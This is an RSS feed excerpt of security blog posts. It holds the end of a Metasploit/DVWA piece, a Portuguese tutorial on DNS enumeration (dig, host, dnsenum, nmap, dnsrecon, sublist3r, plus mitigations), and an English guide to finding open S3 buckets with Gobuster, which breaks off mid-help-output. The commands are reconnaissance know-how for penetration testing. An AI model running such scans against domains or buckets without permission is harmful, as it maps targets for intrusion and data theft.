&lt;p&gt;Abordamos o Metasploit como uma ferramenta valiosa para profissionais de segurança, exemplificando sua aplicação ética através do desenvolvimento de um módulo específico para explorar vulnerabilidades na Damn Vulnerable Web Application (DVWA).&lt;/p&gt;

&lt;h2&gt;
  
  
  Referência
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html"&gt;https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html&lt;/a&gt;&lt;br&gt;
&lt;a href="https://github.com/digininja/DVWA"&gt;https://github.com/digininja/DVWA&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>exploit</category>
      <category>tutorial</category>
      <category>owned</category>
    </item>
    <item>
      <title>Enumeração de DNS</title>
      <dc:creator>Higor Diego</dc:creator>
      <pubDate>Sun, 05 Nov 2023 23:23:36 +0000</pubDate>
      <link>https://forem.com/higordiego/enumeracao-de-dns-36g9</link>
      <guid>https://forem.com/higordiego/enumeracao-de-dns-36g9</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjsls1rya8k7oaymwevc5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjsls1rya8k7oaymwevc5.png" alt="DNS Enumerate"&gt;&lt;/a&gt;&lt;br&gt;
Imagine a internet como uma vasta rede de estradas e caminhos que conectam bilhões de dispositivos em todo o mundo. Para navegar nessa rede, usamos nomes de domínio em vez de números complexos de IP. O Sistema de Nomes de Domínio (DNS) é o mecanismo por trás dessa mágica, traduzindo nomes de domínio em endereços IP. Neste artigo, vamos mergulhar no emocionante mundo do DNS e, em seguida, explorar um tópico importante: A enumeração de DNS.&lt;/p&gt;

&lt;h2&gt;
  
  
  Desvendando o DNS
&lt;/h2&gt;

&lt;p&gt;O DNS, ou Sistema de Nomes de Domínio, é o alicerce invisível da internet. Ele desempenha um papel crucial ao traduzir nomes de domínio, como &lt;a href="http://www.exemplo.com" rel="noopener noreferrer"&gt;www.exemplo.com&lt;/a&gt;, em endereços IP, permitindo que nossos dispositivos se comuniquem na web. Em vez de se preocupar com números IP complexos, nós usamos nomes de domínio amigáveis. O DNS é uma rede global de servidores que realiza essa tradução e é essencial para a navegação na web.&lt;/p&gt;

&lt;p&gt;O DNS é organizado em várias camadas, e aqui estão as principais:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Raiz (Root)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A raiz do DNS é o nível mais alto da hierarquia e contém os servidores raiz, representados por letras, como A, B, C, e assim por diante. Esses servidores são a primeira parada na resolução de nomes de domínio.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Domínios de Topo (TLDs)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Logo abaixo da raiz estão os Domínios de Topo (TLDs), que incluem TLDs genéricos, como .com, .org, .net, e TLDs de código de país, como .br para o Brasil ou .fr para a França. Cada TLD é controlado por uma organização ou governo.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Domínio de Segundo Nível (SLD)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;O SLD é a parte do nome de domínio imediatamente à esquerda do TLD. Por exemplo, em "exemplo.com", "exemplo" é o SLD.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Subdomínios&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Os subdomínios são ramificações dos domínios de segundo nível e podem ser usados para organizar e hierarquizar a estrutura de um site. Por exemplo, em "blog.exemplo.com", "blog" é um subdomínio de "exemplo.com".&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Registros DNS&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Cada nome de domínio pode conter vários tipos de registros DNS, que armazenam informações específicas, como registros A (para mapear nomes de domínio a endereços IP), registros MX (para direcionar o tráfego de e-mail), registros CNAME (para criar aliases), e outros.&lt;/p&gt;

&lt;h2&gt;
  
  
  O Poder da Enumeração de DNS
&lt;/h2&gt;

&lt;p&gt;A enumeração de DNS é uma prática vital no mundo da segurança cibernética e no reconhecimento de alvos. Em termos simples, ela envolve a detecção e listagem de todos os registros DNS possíveis associados a um nome de domínio. Isso inclui informações como nomes de host, tipos de registros DNS, TTLs (Tempo de Vida), endereços IP e muito mais, dependendo do nível de detalhe desejado.&lt;/p&gt;

&lt;p&gt;Uma enumeração DNS eficaz pode ser usada para clonar zonas DNS manualmente, automatizadamente através de scripts, ou para explorar vulnerabilidades de transferência de zona DNS, conhecidas como transferência AXFR (transferência assíncrona de faixa completa). Essa transferência de DNS ocorre quando um servidor DNS mal configurado responde a solicitações AXFR, o que pode ser uma porta de entrada para invasores.&lt;/p&gt;

&lt;h2&gt;
  
  
  O Impacto da Enumeração DNS
&lt;/h2&gt;

&lt;p&gt;Após a conclusão da enumeração de DNS, indivíduos não autorizados podem usar as informações obtidas para acessar registros internos de uma rede, fornecendo uma visão detalhada do mapa DNS. Isso pode ser explorado para examinar a superfície de ataque de uma empresa, coletar dados e, potencialmente, identificar vulnerabilidades.&lt;/p&gt;

&lt;p&gt;Em artigos anteriores, abordamos a enumeração de subdomínios. Neste artigo, levaremos as coisas um passo adiante e exploraremos como realizar uma enumeração DNS completa.&lt;/p&gt;

&lt;h2&gt;
  
  
  Banner Grabbing
&lt;/h2&gt;

&lt;p&gt;No contexto do DNS, "banner" se refere a informações de identificação ou versão do software que um servidor DNS está executando. No entanto, o DNS não possui um banner tradicional como outros serviços de rede. Em vez disso, para obter informações sobre a versão do software de um servidor DNS, pode-se realizar uma consulta especial conhecida como "version.bind. CHAOS TXT". Essa consulta é uma maneira de descobrir informações sobre o servidor BIND, que é um dos softwares de servidor DNS mais populares. O BIND responde a essa consulta com informações sobre a versão que está sendo executada.&lt;/p&gt;

&lt;p&gt;Para realizar essa consulta, você pode usar a ferramenta "dig", que é uma ferramenta de linha de comando usada para consultar informações do DNS. Aqui está um exemplo de como você pode usar o "dig" para obter informações de versão de um servidor BIND:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

dig version.bind CHAOS TXT @&amp;lt;endereço_IP_do_servidor_DNS&amp;gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Essas informações de versão podem ser úteis para os administradores de sistemas que desejam manter seus servidores atualizados e seguros.&lt;/p&gt;

&lt;h2&gt;
  
  
  Host
&lt;/h2&gt;

&lt;p&gt;O "host" é uma ferramenta usada para resolver o endereço IP associado a um nome de domínio específico. Esse comando é amplamente utilizado em sistemas Unix e Linux para consultar servidores DNS e obter informações sobre um determinado domínio. Você pode usá-lo da seguinte maneira:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

host example.com.br


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;O comando "host" recupera registros A, AAAA e MX por padrão. Se quiser especificar qualquer tipo específico de registro DNS, você pode usar a opção -t.&lt;/p&gt;

&lt;h2&gt;
  
  
  Transferência de Zona
&lt;/h2&gt;

&lt;p&gt;A transferência de zona é uma operação que permite a replicação de todas as informações de DNS de uma zona (domínio) de um servidor DNS principal para um servidor DNS secundário. Isso é feito para manter os servidores DNS secundários atualizados com as informações mais recentes da zona, garantindo redundância e disponibilidade.&lt;/p&gt;

&lt;p&gt;Para realizar a enumeração de DNS, existem várias ferramentas à disposição, incluindo:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Nmap: Uma ferramenta versátil usada para escanear redes e identificar dispositivos, portas abertas e serviços em execução. Pode ser usado para explorar informações de DNS.&lt;/li&gt;
&lt;li&gt;    DNSRecon: Uma ferramenta de código aberto para coleta de informações relacionadas a servidores DNS e registros DNS em uma rede.&lt;/li&gt;
&lt;li&gt;    Sublist3r: Uma ferramenta de código aberto para a enumeração de subdomínios em um domínio específico.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  DNSenum
&lt;/h2&gt;

&lt;p&gt;O DNSenum é uma ferramenta poderosa para o reconhecimento de DNS. Ele permite que você crie um mapa completo de DNS para qualquer nome de domínio na Internet. Você pode usá-lo para obter registros NS, MX, AXFR e A, bem como a versão remota do BIND do servidor DNS.&lt;/p&gt;

&lt;p&gt;Aqui está um exemplo de como usar o DNSenum:&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

&lt;p&gt;dnsenum &lt;span class="nt"&gt;-d&lt;/span&gt; example.com.br&lt;/p&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  Nmap&lt;br&gt;
&lt;/h2&gt;

&lt;p&gt;O Nmap (Network Mapper) é uma ferramenta de código aberto amplamente usada para escanear e mapear redes, identificando dispositivos, portas abertas e serviços em execução. Ele também pode ser usado para explorar informações de DNS. Um exemplo de comando é:&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

&lt;p&gt;nmap &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;--script&lt;/span&gt; &lt;span class="s2"&gt;"(default and &lt;em&gt;dns&lt;/em&gt;) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport"&lt;/span&gt; &amp;lt;IP&amp;gt;&lt;/p&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  DNS Recon&lt;br&gt;
&lt;/h2&gt;

&lt;p&gt;O DNS Recon é outra ferramenta de código aberto que ajuda na coleta de informações relacionadas a servidores DNS e registros DNS em uma rede. É amplamente utilizado por profissionais de segurança cibernética e administradores de sistemas para identificar informações sobre domínios, subdomínios e configurações de servidores DNS. Aqui está um exemplo de uso:&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

&lt;p&gt;dnsrecon &lt;span class="nt"&gt;-d&lt;/span&gt; scanme.nmap.org&lt;/p&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  Enumeração de Subdomínio&lt;br&gt;
&lt;/h2&gt;

&lt;p&gt;Subdomínios são partes de um domínio de nível superior que funcionam como subdivisões desse domínio principal. Eles são usados para organizar e hierarquizar a estrutura de um site ou rede, permitindo que diferentes seções ou serviços sejam acessados através de endereços específicos.&lt;/p&gt;

&lt;p&gt;O "Sublist3r" é uma ferramenta de código aberto projetada para a enumeração de subdomínios. Ela automatiza o processo de busca de subdomínios, consultando servidores DNS, motores de busca e outros recursos da internet. Isso é valioso para avaliar a superfície de ataque de um domínio e identificar possíveis pontos de entrada para ataques.&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

&lt;p&gt;sublist3r &lt;span class="nt"&gt;-d&lt;/span&gt; example.com.br&lt;/p&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  Como Prevenir a Enumeração de DNS&lt;br&gt;
&lt;/h2&gt;

&lt;p&gt;Embora seja impossível garantir proteção total contra a enumeração de DNS, quando o sistema DNS é público e acessível a qualquer pessoa, é possível adotar algumas práticas que ajudarão a mitigar potenciais riscos. Essas precauções incluem:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Desativar a possibilidade de transferências de zona DNS por hosts não confiáveis.&lt;/li&gt;
&lt;li&gt;    Assegurar que não haja direcionamento de hosts privados para endereços IP públicos.&lt;/li&gt;
&lt;li&gt;    Realizar auditorias regulares dos registros DNS para identificar e remover registros obsoletos e não utilizados.&lt;/li&gt;
&lt;li&gt;    Evitar o uso de registros DNS para subdomínios de desenvolvimento e teste, optando por incluí-los no arquivo /etc/hosts.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusão
&lt;/h2&gt;

&lt;p&gt;A enumeração de DNS é uma parte fundamental da segurança cibernética e do reconhecimento de alvos. Ela permite que profissionais de segurança e administradores de sistemas entendam a paisagem de DNS e identifiquem possíveis vulnerabilidades. No entanto, é essencial realizar essa atividade de forma ética e em conformidade com as políticas de segurança. Conhecer as ferramentas e técnicas disponíveis pode ajudar a proteger as redes e sistemas contra potenciais ameaças. Portanto, explore essas ferramentas com responsabilidade e conhecimento.&lt;/p&gt;

&lt;h2&gt;
  
  
  Referência
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.kali.org/tools/sublist3r/" rel="noopener noreferrer"&gt;https://www.kali.org/tools/sublist3r/&lt;/a&gt;&lt;br&gt;
&lt;a href="https://blog.appsecco.com/a-penetration-testers-guide-to-sub-domain-enumeration-7d842d5570f6" rel="noopener noreferrer"&gt;https://blog.appsecco.com/a-penetration-testers-guide-to-sub-domain-enumeration-7d842d5570f6&lt;/a&gt;&lt;br&gt;
&lt;a href="https://securitytrails.com/blog/subdomain-scanner-find-subdomains?__cf_chl_tk=fTLXBnH_nrNkaDsas5NMLoicY74_H5BCfUpmnnoBLXA-1699222164-0-gaNycGzNDns" rel="noopener noreferrer"&gt;https://securitytrails.com/blog/subdomain-scanner-find-subdomains?__cf_chl_tk=fTLXBnH_nrNkaDsas5NMLoicY74_H5BCfUpmnnoBLXA-1699222164-0-gaNycGzNDns&lt;/a&gt;&lt;br&gt;
&lt;a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-dns" rel="noopener noreferrer"&gt;https://book.hacktricks.xyz/network-services-pentesting/pentesting-dns&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>dns</category>
      <category>tutorial</category>
      <category>osint</category>
    </item>
    <item>
      <title>Discover how to find hidden buckets in Amazon S3 Cloud.</title>
      <dc:creator>Higor Diego</dc:creator>
      <pubDate>Sun, 05 Nov 2023 14:33:01 +0000</pubDate>
      <link>https://forem.com/higordiego/discover-how-to-find-hidden-buckets-in-amazon-s3-cloud-2p7o</link>
      <guid>https://forem.com/higordiego/discover-how-to-find-hidden-buckets-in-amazon-s3-cloud-2p7o</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3st62wozzambsjtgdyrr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3st62wozzambsjtgdyrr.png" alt="Discovery AWS"&gt;&lt;/a&gt;&lt;br&gt;
Today we will discuss something that’s pure excitement: finding hidden directories in Amazon’s famous S3 buckets.&lt;/p&gt;

&lt;p&gt;But, before we dive deep into this subject, an important note: we do everything here in an educational manner, okay? If you mess up and things go south, it’s not on me. Always ask for permission before scanning, brute-forcing, or exploring someone else’s systems. Got it? 😉&lt;/p&gt;

&lt;h2&gt;
  
  
  Amazon S3
&lt;/h2&gt;

&lt;p&gt;Amazon S3 is a highly scalable and durable object storage service offered by Amazon Web Services (AWS). It’s designed to store, manage, and retrieve large amounts of data reliably and securely in the cloud. S3 is widely used by companies of all sizes to store a variety of data types, such as files, images, videos, and backups, making it a popular choice for cloud storage solutions. Its scalability, high availability, and security make it an essential tool for various applications, from hosting websites to data analysis and critical information backup.&lt;/p&gt;

&lt;h2&gt;
  
  
  S3 Security Settings and Risks
&lt;/h2&gt;

&lt;p&gt;Amazon S3 is an incredibly versatile platform, serving a wide range of needs, from storing backups and website data to running Big Data analytics and file management. However, when dealing with such a vast and diverse volume of data in one place, legitimate security concerns arise.&lt;/p&gt;

&lt;p&gt;So, what are these security concerns, and what security settings can an administrator implement to properly protect a “bucket” and its files in Amazon S3?&lt;/p&gt;

&lt;p&gt;First and foremost, it’s crucial to understand that Amazon S3 is considered a “publicly accessible platform.” This means that, with the appropriate URL and permissions, any “bucket” can be accessed from anywhere through HTTP requests, similar to what a web browser does to access a common website.&lt;/p&gt;

&lt;p&gt;The accessibility of a “bucket” via its URL depends on the enabled security measures. However, it’s important to highlight that Amazon S3 is not a hidden resource available only after passing through multiple layers of authentication. On the contrary, it’s a resource that can be accessed through AWS endpoints from anywhere on the web, representing the primary security risk. Any S3 “bucket” and its associated data have the potential to be accessible.&lt;/p&gt;

&lt;p&gt;Regarding Amazon S3 security, the checks implemented by the service to authorize access to an S3 resource, whether a “bucket” or an object, are robust. S3 evaluates permissions at the user level, through “bucket” policies, “bucket” access control lists (ACLs), and object ACLs. These security layers are essential to ensure that only authorized users can access and manipulate the data stored in S3.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Find Open Amazon S3 Buckets
&lt;/h2&gt;

&lt;p&gt;In recent years, we have witnessed alarming data leaks in large companies due to the exposure of “buckets” on Amazon S3. If you want to check a list of the most notorious leaks, you can find it here. Through these security flaws, a wide range of confidential information was inadvertently made accessible to the public. We’re talking about Social Security numbers, personal photos, sales records, usernames and passwords, medical histories, and credit reports, among other things.&lt;/p&gt;

&lt;h2&gt;
  
  
  S3 Bucket Search Tools
&lt;/h2&gt;

&lt;p&gt;If you’re interested in exploring publicly available “buckets” in Amazon S3, you need to use a tool that performs tests to check the existence of these “buckets.” When a “bucket” name does not exist, the service returns an error code called “NoSuchBucket.” Fortunately, there are several tools available for this purpose.&lt;/p&gt;

&lt;p&gt;Initially, some of the early S3 “bucket” search tools included options like Bucket Lazy S3, bucket_finder, AWS Cred Scanner, sandcastle, Mass3, Dumpster Diver, S3 Bucket Finder, gobuster, and S3Scanner. These tools played a significant role in checking keywords in the names of publicly accessible “buckets,” although they had some limitations. The results often included irrelevant “buckets” and displayed only the first thousand files from their content.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Gobuster
&lt;/h2&gt;

&lt;p&gt;Developed in the Go language, Gobuster is a high-performance scanner that proves to be a valuable tool for finding hidden directories, URLs, subdomains, and S3 buckets.&lt;/p&gt;

&lt;p&gt;The question that often arises is, “What about Ffuf?” Although Ffuf is a notable web fuzzer, Gobuster emerges as an even faster and more versatile alternative. Additionally, Gobuster offers support for extensions that expand its capabilities, which is a differentiator. The program can also scale its operations using multiple threads and perform parallel scans to speed up results.&lt;/p&gt;

&lt;p&gt;Now, as for installing Gobuster, the process is quite simple. If you’re using Kali Linux or Parrot OS, Gobuster is pre-installed for you.&lt;/p&gt;

&lt;p&gt;On the other hand, if you’re using Ubuntu or a Debian-based system, you can easily install Gobuster using apt:&lt;/p&gt;

&lt;p&gt;Linux&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

apt &lt;span class="nb"&gt;install &lt;/span&gt;gobuster


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;MacOs&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

brew &lt;span class="nb"&gt;install &lt;/span&gt;gobuster


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;After the installation is complete, you’ll need a wordlist. This list can include passwords, usernames, subdomains, and so on. There are various sources where you can obtain useful word lists.&lt;/p&gt;

&lt;p&gt;My recommendation is to use Seclists. Seclists is a comprehensive repository of various lists used in security assessments. This includes collections of usernames, passwords, URLs, and more. If you’re using Kali Linux, you can find Seclists in the /usr/share/wordlists directory.&lt;/p&gt;

&lt;p&gt;To try Gobuster in real-time, you have the option to use your own website as a target or, conveniently, employ a web application called Damn Vulnerable Web Application (DVWA). DVWA is a deliberately misconfigured web application created to be intentionally vulnerable. It’s a tool often used by penetration testing professionals to practice and improve their web application attack skills.&lt;/p&gt;

&lt;h2&gt;
  
  
  DNS Module
&lt;/h2&gt;

&lt;p&gt;DNS, which stands for Domain Name System, is a cornerstone of the Internet that translates user-friendly domain names into IP addresses used by computers to identify resources on the network. It acts as a kind of “phone book” for the Internet, allowing browsers and applications to locate servers and websites corresponding to the domain names entered by users. DNS plays a crucial role in facilitating web navigation and online communication.&lt;/p&gt;

&lt;p&gt;The DNS mode is used to discover hidden subdomains within a target domain. For example, if you have a domain called mydomain.com, you can use Gobuster to find subdomains like admin.mydomain.com, support.mydomain.com, and so on.&lt;/p&gt;

&lt;p&gt;Here’s the Gobuster command for DNS enumeration:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;higordiego㉿host&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;gobuster dns &lt;span class="nt"&gt;-h&lt;/span&gt;
Uses DNS subdomain enumeration mode

Usage:
  gobuster dns &lt;span class="o"&gt;[&lt;/span&gt;flags]

Flags:
  &lt;span class="nt"&gt;-d&lt;/span&gt;, &lt;span class="nt"&gt;--domain&lt;/span&gt; string      The target domain
  &lt;span class="nt"&gt;-h&lt;/span&gt;, &lt;span class="nt"&gt;--help&lt;/span&gt;               &lt;span class="nb"&gt;help &lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;dns
      &lt;span class="nt"&gt;--no-fqdn&lt;/span&gt;            Do not automatically add a trailing dot to the domain, so the resolver uses the DNS search domain
  &lt;span class="nt"&gt;-r&lt;/span&gt;, &lt;span class="nt"&gt;--resolver&lt;/span&gt; string    Use custom DNS server &lt;span class="o"&gt;(&lt;/span&gt;format server.com or server.com:port&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt;, &lt;span class="nt"&gt;--show-cname&lt;/span&gt;         Show CNAME records &lt;span class="o"&gt;(&lt;/span&gt;cannot be used with &lt;span class="s1"&gt;'-i'&lt;/span&gt; option&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-i&lt;/span&gt;, &lt;span class="nt"&gt;--show-ips&lt;/span&gt;           Show IP addresses
      &lt;span class="nt"&gt;--timeout&lt;/span&gt; duration   DNS resolver &lt;span class="nb"&gt;timeout&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;default 1s&lt;span class="o"&gt;)&lt;/span&gt;
      &lt;span class="nt"&gt;--wildcard&lt;/span&gt;           Force continued operation when wildcard found

Global Flags:
      &lt;span class="nt"&gt;--debug&lt;/span&gt;                 Enable debug output
      &lt;span class="nt"&gt;--delay&lt;/span&gt; duration        Time each thread waits between requests &lt;span class="o"&gt;(&lt;/span&gt;e.g. 1500ms&lt;span class="o"&gt;)&lt;/span&gt;
      &lt;span class="nt"&gt;--no-color&lt;/span&gt;              Disable color output
      &lt;span class="nt"&gt;--no-error&lt;/span&gt;              Don&lt;span class="s1"&gt;'t display errors
  -z, --no-progress           Don'&lt;/span&gt;t display progress
  &lt;span class="nt"&gt;-o&lt;/span&gt;, &lt;span class="nt"&gt;--output&lt;/span&gt; string         Output file to write results to &lt;span class="o"&gt;(&lt;/span&gt;defaults to stdout&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt;, &lt;span class="nt"&gt;--pattern&lt;/span&gt; string        File containing replacement patterns
  &lt;span class="nt"&gt;-q&lt;/span&gt;, &lt;span class="nt"&gt;--quiet&lt;/span&gt;                 Don&lt;span class="s1"&gt;'t print the banner and other noise
  -t, --threads int           Number of concurrent threads (default 10)
  -v, --verbose               Verbose output (errors)
  -w, --wordlist string       Path to the wordlist. Set to - to use STDIN.
      --wordlist-offset int   Resume from a given position in the wordlist (defau



&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;We will perform a DNS enumeration. You can execute it with the following command:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;higordiego㉿host&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;gobuster dns &lt;span class="nt"&gt;-d&lt;/span&gt; test.io &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt 

&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Gobuster v3.6
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@firefart&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Domain:     test.io
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:    10
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:    1s
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:   /usr/share/wordlists/dirb/common.txt
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Starting gobuster &lt;span class="k"&gt;in &lt;/span&gt;DNS enumeration mode
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Found: api.test.io

Progress: 4614 / 4615 &lt;span class="o"&gt;(&lt;/span&gt;99.98%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Finished
&lt;span class="o"&gt;===============================================================&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
  
  
  AWS S3 Module
&lt;/h2&gt;

&lt;p&gt;Amazon S3 is widely adopted by a large number of companies for distributing content, ranging from public material like website images to private and confidential files.&lt;/p&gt;

&lt;p&gt;Now, let’s explore the help command to identify the various parameters offered by Gobuster in its S3 mode:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;higordiego㉿host&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;gobuster s3 &lt;span class="nt"&gt;-h&lt;/span&gt;                                                                                           
Uses aws bucket enumeration mode

Usage:
  gobuster s3 &lt;span class="o"&gt;[&lt;/span&gt;flags]

Flags:
      &lt;span class="nt"&gt;--client-cert-p12&lt;/span&gt; string            a p12 file to use &lt;span class="k"&gt;for &lt;/span&gt;options TLS client certificates
      &lt;span class="nt"&gt;--client-cert-p12-password&lt;/span&gt; string   the password to the p12 file
      &lt;span class="nt"&gt;--client-cert-pem&lt;/span&gt; string            public key &lt;span class="k"&gt;in &lt;/span&gt;PEM format &lt;span class="k"&gt;for &lt;/span&gt;optional TLS client certificates
      &lt;span class="nt"&gt;--client-cert-pem-key&lt;/span&gt; string        private key &lt;span class="k"&gt;in &lt;/span&gt;PEM format &lt;span class="k"&gt;for &lt;/span&gt;optional TLS client certificates &lt;span class="o"&gt;(&lt;/span&gt;this key needs to have no password&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-h&lt;/span&gt;, &lt;span class="nt"&gt;--help&lt;/span&gt;                              &lt;span class="nb"&gt;help &lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;s3
  &lt;span class="nt"&gt;-m&lt;/span&gt;, &lt;span class="nt"&gt;--maxfiles&lt;/span&gt; int                      max files to list when listing buckets &lt;span class="o"&gt;(&lt;/span&gt;only shown &lt;span class="k"&gt;in &lt;/span&gt;verbose mode&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;default 5&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-k&lt;/span&gt;, &lt;span class="nt"&gt;--no-tls-validation&lt;/span&gt;                 Skip TLS certificate verification
      &lt;span class="nt"&gt;--proxy&lt;/span&gt; string                      Proxy to use &lt;span class="k"&gt;for &lt;/span&gt;requests &lt;span class="o"&gt;[&lt;/span&gt;http&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt;://host:port] or &lt;span class="o"&gt;[&lt;/span&gt;socks5://host:port]
      &lt;span class="nt"&gt;--random-agent&lt;/span&gt;                      Use a random User-Agent string
      &lt;span class="nt"&gt;--retry&lt;/span&gt;                             Should retry on request &lt;span class="nb"&gt;timeout&lt;/span&gt;
      &lt;span class="nt"&gt;--retry-attempts&lt;/span&gt; int                Times to retry on request &lt;span class="nb"&gt;timeout&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;default 3&lt;span class="o"&gt;)&lt;/span&gt;
      &lt;span class="nt"&gt;--timeout&lt;/span&gt; duration                  HTTP Timeout &lt;span class="o"&gt;(&lt;/span&gt;default 10s&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-a&lt;/span&gt;, &lt;span class="nt"&gt;--useragent&lt;/span&gt; string                  Set the User-Agent string &lt;span class="o"&gt;(&lt;/span&gt;default &lt;span class="s2"&gt;"gobuster/3.6"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

Global Flags:
